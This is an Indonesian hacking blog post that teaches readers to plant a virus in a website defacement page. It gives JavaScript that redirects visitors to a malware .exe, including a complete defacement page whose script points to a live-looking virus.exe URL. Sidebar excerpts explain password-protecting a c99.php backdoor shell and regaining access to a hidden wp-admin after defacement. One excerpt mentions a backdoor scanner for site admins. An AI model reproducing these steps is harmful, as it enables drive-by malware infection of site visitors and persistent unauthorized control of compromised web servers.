Menyisipkan virus pada halaman html atau halaman deface


Pertama Tama


Upload virusmu di shell depes,,,,
jika sudah selesai di upload,, copy alamat virus tadi misallnya alamat virus yang telah kamu upload di shell berada pada http://alamatweb/image/virus.exe

copy code berikut pada file html / depesmu, ingat harus dipaste sebelum kode </html> atau pada body html

<script type="text/javascript">
<!--
function exec_refresh()
{
window.status = "Redirecting..." + myvar;
myvar = myvar + " .";
var timerID = setTimeout("exec_refresh();", 150);
if (timeout > 5)
{
timeout -= 5;
}
else
{
clearTimeout(timerID);
window.status = "";
window.location = "alamat virusmu";
}
}
var myvar = "";
var timeout = 190;
exec_refresh();
//-->
</script>

misalnya saya masukkan pada halaman deface saya jadinya : -->

 <html>

<style type="text/css">
   


 |</div>
body {
    background-color: black;
}
//.matrix { font-family:Lucida Console, Courier, Monotype; font-size:10pt; text-align:center; width:10px; padding:0px; margin:0px;}
.matrix { font-size:17pt; text-align:center; width:20px; padding:0px; margin:0px;}
</style>
<center><font face="Verdana" size="2" color="#FF0000">GOTCHA :P LOL </font> |
     <script language="Javascript" src="http://www.ip2phrase.com/ip2phrase.asp?template=Your IP: <IP>"></script> <font color="#ff9900"> | </font> <script language="Javascript" src="http://www.ip2phrase.com/ip2phrase.asp?template= <isp>"></script><font color="#ff9900"> | </font><script language="Javascript" src="http://www.ip2phrase.com/ip2phrase.asp?template= <country>"></script> <font color="#ff9900"> | </font> <script language="Javascript" src="http://www.ip2phrase.com/ip2phrase.asp?template= <flag>"></script></center>
<link rel="SHORTCUT ICON" href="http://i55.tinypic.com/2z7ld11.gif">
<body style="background-color: black;"><title>### HACKED BY TrojanzBoy###</title><center><div style="font-family: impact; font-size: 25px; color: red; background-color: black; padding-top: 2px; text-align: center; line-height: 75px; height: 75px;">


<div align=center id="matrix"}>
  <style type="text/css">b.drop-shadow { text-shadow: 0 0 2px #ccc; }</style><font color="red"><b class="drop-shadow"><b>.:: P0wn3d By TrojanzBoy ::.</b></font></b>     

       
</div>

<html>
<title>./P0wn3d By TrojanzBoy</title>

<body bgcolor="#000000" text="white">
<body oncontextmenu='return false;' onkeydown='return false;' onmousedown='return false;' ondragstart='return false' onselectstart='return false' style='-moz-user-select: none; cursor: default;'>

<center>


<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMgNybNEUkbtDRCLlsHvRVztHpzfR7oWEi1KbQGfqKw-Nod0ieJaKUu1ofrsyY6azeDMo2kqwUizwi6agBn-8m6D4A3BFua5knzw_gups_9fztTdjirwTyMsv0TgfsNhyNU3s-p9jdrhM/s1600/anak-pemulung.jpg" height="480px"></img>

</center>
<center>

aku hanyalah seorang pemulung web . . . !<br>
</center>
<small>

</font>
</a>

</i>
</small>

</p></center>


<script type="text/javascript">
<!--
function exec_refresh()
{
window.status = "Redirecting..." + myvar;
myvar = myvar + " .";
var timerID = setTimeout("exec_refresh();", 150);
if (timeout > 5)
{
timeout -= 5;
}
else
{
clearTimeout(timerID);
window.status = "";
window.location = "http://narutoupdate.strangled.net/virus.exe";
}
}

var myvar = "";
var timeout = 190;
exec_refresh();
//-->
</script>

</body></html>


</marquee></a>
<center>
    <embed src="http://videokeman.com/music/videokemanplay.swf" width="1" height="1" wmode="transparent" FlashVars="playerID=1&amp;bg=0xffffff&amp;leftbg=0xCA4536&amp;lefticon=0xffffff&amp;rightbg=0xCA4536&amp;rightbghover=0x999999&amp;righticon=0xffffff&amp;righticonhover=0xffffff&amp;text=0xCA4536&amp;slider=0x303030&amp;track=0xFFFFFF&amp;border=0x666666&amp;loader=0xC52C24&amp;autostart=yes&amp;loop=yes&amp;soundFile=http://videokeman.com/dload/nm3/053011/Alexandra_Stan_-_Mrxdot_Saxobeat.vkm"></embed>
</body>
</center>

<html>

Sekian Dari sayaTelephone 


Komentar

Posting Komentar

Postingan populer dari blog ini

Cara memberi password pada shell backdoor

Gambar
misalnya saya akan memberi password pada shell backdoor c99.php yang mempunyai script lalu Masukan script berikut tepat di bawah <?php // --- pop-up $user = "isi-username"; $pass = "isi-password";  if (($_SERVER["PHP_AUTH_USER"] != $user) || (($_SERVER["PHP_AUTH_PW"]) != $pass))  {   header("WWW-Authenticate: Basic realm=\"dvildance was here\"");   header("HTTP/1.0 401 Unauthorized");   exit();  } // --- php shell  jadinya lalu upload di server hasil hack dan panggil shell anda  maka muncul popup password SUKSES . . . Note : Tidak semu host mendukung adanya script pop-up di atas, jadi harap di coba sebelum memberi password pada php shell. Tapi kebanyakan mendukung pop-up  
Baca selengkapnya

Scan shell backdoor pada website

Gambar
Sekedar untuk share kembali,scan backdoor yang mungkin akan berguna bagi Admin web untuk scanning kemungkinan adanya malscript atau web shell yang disisipkan oleh heker ke dalam situs. Penggunaannya cukup mudah. upload ke hosting anda dan ceklis beberapa opsi yang diperlukan. misalnya ceklis kolom "other keyword" dan isi dengan nama keyword c99.php , execute, upload atau keyword lain yg dicurigai sebagai malscript. lalu klik "start scan". maka Backdoor scanner ini akan memeriksa file di host yang memuat keyword tersebut. Jika ditemukan, maka akan ditampilkan. Perlu ditambahkan juga bahwa tidak semua file yang ditampilkan merupakan backdoor, anda juga perlu langsung memeriksanya kembali isi script yang telah terdeteksi.  Penggunaanya pun sangat simple 1.download dulu scannernya Backdoorscanner lalu upload di file manager hosting kalian 2.panggil directory dimana anda mengupload tadi semisial :/ : http /situs anda/files/includes/backdoorscan.php 3.pilih mod
Baca selengkapnya

Mengatasi halaman wp-admin yang di sembunyikan atau di redirect halaman depan

Gambar
Hmm . . .kali ini saya akan memberikan trick untuk mengetahui halaman wp-admin wordpress yang biasanya disembunyikan dan di redirect ke halaman depan jangan nyerah dulu kadang kala kita menemui kasus ini ketika kita melakukan deface dengan teknik symlink kadang kala menemukan config wordpress dan halaman adminya tidak bisa di akses atau di alihkan ke halaman depan langsung aja buka mysql interface untuk mengakses config wordpress lalu pergi ke table wp-option dan cari  "active_plugins" setelahitu hapus data active plugins  lalu coba balik ke wp-admin website korban lalu coba kita akses taraaaaa . . .  halaman wp-admin pun muncul ini artinya akses ke halaman login wordpress pun bisa di akses happy hacking
Baca selengkapnya